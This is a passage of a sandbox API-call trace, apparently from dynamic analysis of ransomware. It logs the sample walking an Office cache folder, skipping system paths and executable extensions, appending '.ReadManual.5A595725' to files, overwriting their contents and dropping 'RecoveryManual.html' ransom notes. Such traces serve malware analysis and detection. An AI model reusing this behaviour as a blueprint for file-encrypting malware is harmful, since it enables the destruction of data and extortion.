SetSecurityInfo () returned 0x57 [0184.613] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0184.613] CloseHandle (hObject=0x194) returned 1 [0184.920] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\" [0184.920] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\RecoveryManual.html") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\RecoveryManual.html" [0184.920] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\RecoveryManual.html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0184.946] WriteFile (in: hFile=0x194, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fdf0*=0xae9, lpOverlapped=0x0) returned 1 [0184.947] CloseHandle (hObject=0x194) returned 1 [0184.948] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0184.948] lstrcpyW (in: lpString1=0x6ab934, lpString2="Proof.msi" | out: lpString1="Proof.msi") returned="Proof.msi" [0184.948] lstrcmpiW (lpString1="Proof.msi", lpString2="RecoveryManual.html") returned -1 [0184.948] StrStrIW (lpFirst="Proof.msi", lpSrch=".ReadManual.5A595725") returned 0x0 [0184.948] StrCmpIW (psz1="msi", psz2="exe") returned 1 [0184.948] StrCmpIW (psz1="msi", psz2="dll") returned 1 [0184.948] StrCmpIW (psz1="msi", psz2="sys") returned -1 [0184.948] StrCmpIW (psz1="msi", psz2="msi") returned 0 [0184.948] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0184.948] lstrcpyW (in: lpString1=0x6ab934, lpString2="Proof.xml" | out: lpString1="Proof.xml") returned="Proof.xml" [0184.948] lstrcmpiW (lpString1="Proof.xml", lpString2="RecoveryManual.html") returned -1 [0184.948] StrStrIW (lpFirst="Proof.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0184.948] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0184.948] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0184.948] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0184.948] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0184.948] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0184.948] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0184.949] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0184.949] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0184.949] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0184.949] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0184.949] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0184.949] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0184.949] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0184.949] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0184.949] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" [0184.949] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.ReadManual.5A595725" [0184.949] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.ReadManual.5A595725") returned 105 [0184.949] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=30561766558) returned 1 [0184.949] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 0x2020 [0184.949] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0184.949] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1347) returned 1 [0184.950] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x543, lpName=0x0) returned 0x198 [0184.950] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe2) returned 1 [0184.950] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.950] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0184.955] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0184.955] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x543) returned 0x2f0000 [0184.955] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0184.955] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=30562398911) returned 1 [0184.955] CloseHandle (hObject=0x198) returned 1 [0184.955] SetSecurityInfo () returned 0x57 [0184.956] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0184.956] CloseHandle (hObject=0x194) returned 1 [0184.958] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0184.958] FindClose (in: hFindFile=0x668128 | out: hFindFile=0x668128) returned 1 [0184.958] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0184.958] lstrcpyW (in: lpString1=0x69b922, lpString2="Proof.es" | out: lpString1="Proof.es") returned="Proof.es" [0184.958] lstrcatW (in: lpString1="Proof.es", lpString2="\\" | out: lpString1="Proof.es\\") returned="Proof.es\\" [0184.958] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpSrch=":\\Windows\\") returned 0x0 [0184.958] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0184.958] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0184.958] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0184.958] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpSrch=":\\WINNT") returned 0x0 [0184.958] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0184.958] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpSrch=":\\Windows.old\\") returned 0x0 [0184.958] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpSrch=":\\PerfLog\\") returned 0x0 [0184.958] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpSrch="\\WindowsApps\\") returned 0x0 [0184.958] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0184.958] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0184.958] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0184.958] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0184.958] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0184.958] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0184.958] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0184.959] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpSrch="\\Windows Defender\\") returned 0x0 [0184.959] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpSrch="\\microsoft shared\\") returned 0x0 [0184.959] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0184.959] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0184.959] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0184.959] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0184.959] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0184.959] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpSrch="\\Tor Browser\\") returned 0x0 [0184.959] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0184.959] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\") returned 76 [0184.959] FindFirstFileW (in: lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x668128 [0184.965] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\" [0184.965] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0184.965] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0184.965] lstrcpyW (in: lpString1=0x6ab934, lpString2="Proof.cab" | out: lpString1="Proof.cab") returned="Proof.cab" [0184.965] lstrcmpiW (lpString1="Proof.cab", lpString2="RecoveryManual.html") returned -1 [0184.965] StrStrIW (lpFirst="Proof.cab", lpSrch=".ReadManual.5A595725") returned 0x0 [0184.965] StrCmpIW (psz1="cab", psz2="exe") returned -1 [0184.965] StrCmpIW (psz1="cab", psz2="dll") returned -1 [0184.965] StrCmpIW (psz1="cab", psz2="sys") returned -1 [0184.965] StrCmpIW (psz1="cab", psz2="msi") returned -1 [0184.965] StrCmpIW (psz1="cab", psz2="mui") returned -1 [0184.965] StrCmpIW (psz1="cab", psz2="inf") returned -1 [0184.965] StrCmpIW (psz1="cab", psz2="cat") returned -1 [0184.965] StrCmpIW (psz1="cab", psz2="bat") returned 1 [0184.965] StrCmpIW (psz1="cab", psz2="cmd") returned -1 [0184.965] StrCmpIW (psz1="cab", psz2="ps1") returned -1 [0184.966] StrCmpIW (psz1="cab", psz2="vbs") returned -1 [0184.966] StrCmpIW (psz1="cab", psz2="ttf") returned -1 [0184.966] StrCmpIW (psz1="cab", psz2="fon") returned -1 [0184.966] StrCmpIW (psz1="cab", psz2="lnk") returned -1 [0184.966] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" [0184.966] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.ReadManual.5A595725" [0184.966] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.ReadManual.5A595725") returned 105 [0184.966] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=30563451019) returned 1 [0184.966] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab")) returned 0x2020 [0185.023] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0185.024] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13642474) returned 1 [0185.024] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd02aea, lpName=0x0) returned 0x198 [0185.024] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe2) returned 1 [0185.024] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.024] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0185.067] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0185.067] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd02aea) returned 0x4350000 [0185.534] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0185.561] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=30622929144) returned 1 [0185.561] CloseHandle (hObject=0x198) returned 1 [0185.561] SetSecurityInfo () returned 0x57 [0185.561] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0185.561] CloseHandle (hObject=0x194) returned 1 [0185.879] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\" [0185.879] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\RecoveryManual.html") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\RecoveryManual.html" [0185.879] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\RecoveryManual.html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0185.882] WriteFile (in: hFile=0x194, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fdf0*=0xae9, lpOverlapped=0x0) returned 1 [0185.883] CloseHandle (hObject=0x194) returned 1 [0185.883] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0185.883] lstrcpyW (in: lpString1=0x6ab934, lpString2="Proof.msi" | out: lpString1="Proof.msi") returned="Proof.msi" [0185.883] lstrcmpiW (lpString1="Proof.msi", lpString2="RecoveryManual.html") returned -1 [0185.883] StrStrIW (lpFirst="Proof.msi", lpSrch=".ReadManual.5A595725") returned 0x0 [0185.883] StrCmpIW (psz1="msi", psz2="exe") returned 1 [0185.883] StrCmpIW (psz1="msi", psz2="dll") returned 1 [0185.883] StrCmpIW (psz1="msi", psz2="sys") returned -1 [0185.883] StrCmpIW (psz1="msi", psz2="msi") returned 0 [0185.883] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0185.883] lstrcpyW (in: lpString1=0x6ab934, lpString2="Proof.xml" | out: lpString1="Proof.xml") returned="Proof.xml" [0185.884] lstrcmpiW (lpString1="Proof.xml", lpString2="RecoveryManual.html") returned -1 [0185.884] StrStrIW (lpFirst="Proof.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0185.884] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0185.884] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0185.884] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0185.884] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0185.884] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0185.884] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0185.884] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0185.884] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0185.884] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0185.884] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0185.884] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0185.884] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0185.884] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0185.884] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0185.884] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" [0185.884] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.ReadManual.5A595725" [0185.884] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.ReadManual.5A595725") returned 105 [0185.884] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=30655281597) returned 1 [0185.884] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all 